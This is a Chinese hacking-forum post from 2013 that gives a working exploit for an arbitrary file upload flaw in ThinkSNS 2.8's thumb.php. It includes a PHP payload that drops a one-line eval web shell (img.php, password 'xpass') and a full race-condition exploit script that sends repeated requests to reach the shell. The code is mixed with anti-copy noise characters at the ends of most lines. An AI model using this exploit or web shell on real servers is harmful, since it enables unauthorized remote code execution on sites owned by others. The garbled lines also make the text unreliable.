找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本2 ], Y: \6 v% ^4 T7 z
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); d) A2 E' h/ K* u* N
漏洞文件
: N$ s! R* ^3 D存在漏洞的文件为:thumb.php
/ m: Q* p3 H4 _' y) K作者:韦鲲鹏  p! q# G" F0 q6 G0 ?2 f" o
1、        准备如下PHP文件并上传到服务器(自己的)。3 K' Y5 n; L& Y3 x
文件内容如下:
6 n5 m+ ~3 }4 K  V- F9 z<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>. k( t6 W8 `" b) r2 l% B3 v
2、        计算出临时的文件名:0 l' I8 [9 Z+ C! I8 v
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
2 H* @# p; |  W1 b7 e7 u
  K  K2 U/ a( f2 e, R) H3、        上传临时文件。- |* x" c) G& o3 w0 q* J
4、        访问临时文件。; I) S2 _- C6 a
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
6 d; j7 B2 z4 N1 M3 e% n( PExploit文件内容如下:(这个我就不详细解释了)# ?' k! y# a. e" T( ?. D/ _5 B* L
<?php
6 y# q9 k; ]$ ?" H5 S& Nerror_reporting(0);
$ b  g6 d+ E  a) L! h: _! bset_time_limit(0);
) o- v6 T$ F0 y3 ?4 |, W$ y& ~9 Cini_set(“default_socket_timeout”, 5);
: ]" y" w7 ?1 ~4 ]- K; kfunction http_send($host, $port, $headers) {/ a' v3 e  Z1 v4 l# E+ R
$fp = fsockopen($host, $port);
" L  h1 x% H/ N! mif (!$fp) die(‘Connection -> fail’);
7 u2 l+ S' N: Q! J& jfputs($fp, $headers);; J  C' e; w+ M( z7 q8 y
return $fp;
9 G0 W6 Y+ m* Z6 h- V}
; N2 V) t4 `8 J3 B9 ffunction http_recv($fp) {3 b8 w% Q' r8 ^  M
$ret=”";
" Y! l( e+ R7 u( C+ G- @  Nwhile (!feof($fp))
/ ]$ A* Q* @: B# G& j4 m$ret.= fgets($fp, 1024);7 M& V6 W& w2 u* \
fclose($fp);6 f: t3 D8 E! F2 A
return $ret;
9 p3 e5 V9 u! G) W}: G4 E8 a7 n  Y  O
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
" R9 C1 A* L# ?9 b& ]print “# Discovered by 韦鲲鹏 #\n\n”;2 H3 |7 v, S# y& k1 \
if ($argc < 4) {
) M9 m- b  p* W, |print “Usage:   php <host> <path> <romote_url>\n”;8 p2 x! E: B2 l& I
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; x8 j4 _0 E$ Idie();3 D5 m/ E8 ^, `0 Z9 l1 P
}) S) f% X. x  q% p. l
$host = $argv[1];
$ I$ Y* o  h5 E) u' L8 y/ G- o$path = $argv[2];
% G; c/ R' K' x) b$url = $argv[3];" l: J8 I) U9 X$ D/ \5 a8 z; X
$i=0;( w! \0 d' n1 H3 K2 X% S
//上传数据包
4 F7 Z0 D5 @5 U) ?1 ^% Z$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
% d" q0 c5 X+ U, R$headers_up .= “Host: “.$host.”\r\n”;. _3 C) G  X% L. C0 k
$headers_up .= “Connection: close\r\n\r\n”;
8 e7 Z% z& t$ G8 H3 i4 Pecho $headers_up;$ z" G. ]" l6 ?5 N
//临时文件访问数据包. v8 h7 m8 I4 U5 ?- l; y9 `
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" Z7 C/ X" ^3 [3 J- j4 W
$headers .= “Host: “.$host.”\r\n”;; @5 ^& s( I: F2 x9 c! N
$headers .= “Connection: close\r\n\r\n”;. w& L. ]" W6 U" k
echo $headers;
0 ^, d0 B2 V6 D/ u( S" Z' h7 {% Hwhile(++$i<10) {
; G# `$ P: A. O) L4 }fclose(http_send($host, 80, $headers));
* X0 h5 J) ^! g4 S0 K7 S" T( \}
) k2 r- X% Q& R9 Mfclose(http_send($host, 80, $headers_up));* I) r; S' w; Y
while(++$i<50) {' I: [! Y# a. X: E" o
fclose(http_send($host, 80, $headers));: @4 A: a% v. c% o! T3 s2 L
}) V. y' @& x# P! j' q* |
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;; S! Z7 u. k! v/ P2 k+ K7 ]9 @$ u. A
$headers .= “Host: “.$host.”\r\n”;  S; ?. s; [) Z6 n! A
$headers .= “Connection: close\r\n\r\n”;% l, l  G' F1 i3 Y  Q
$res=http_recv(http_send($host, 80, $headers));
) q+ e" d: j+ K; s% @. Wif(preg_match(‘/200 OK/’,$res)) {
/ E% [( S0 r2 T# r9 M3 uprint “Success!\n\n”;8 k% ]3 A1 U- U6 f0 [7 |: l
} else {
1 |% A6 x# O5 Jprint “Fail!\n\n”;
5 \8 B9 D6 v$ F}
6 T" n2 X( [% e- D! e) f. j5 P?>
) ]( E2 [, U; n: c2 ]+ V& {5 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表